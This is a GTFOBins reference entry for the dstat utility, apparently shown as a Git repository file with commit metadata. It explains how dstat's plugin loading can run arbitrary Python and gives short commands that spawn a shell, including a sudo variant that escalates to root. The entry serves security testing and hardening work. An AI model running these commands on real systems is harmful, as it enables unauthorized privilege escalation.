GTFOBins.github.io/_gtfobins/dstat.md
AlexConnat f4ec254e8c
Add dstat
Co-authored-by: AlexConnat <alexandre.connat@epfl.ch>
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2023-02-11 18:54:16 +01:00

640 B

description functions
`dstat` allows you to run arbitrary Python scripts loaded as "external plugins" if they are located in one of the directories stated in the `dstat` man page under "FILES": 1. `~/.dstat/` 2. `(path of binary)/plugins/` 3. `/usr/share/dstat/` 4. `/usr/local/share/dstat/` Pick the one that you can write into.
shell sudo
code
mkdir -p ~/.dstat echo 'import os; os.execv("/bin/sh", ["sh"])' >~/.dstat/dstat_xxx.py dstat --xxx
code
echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py sudo dstat --xxx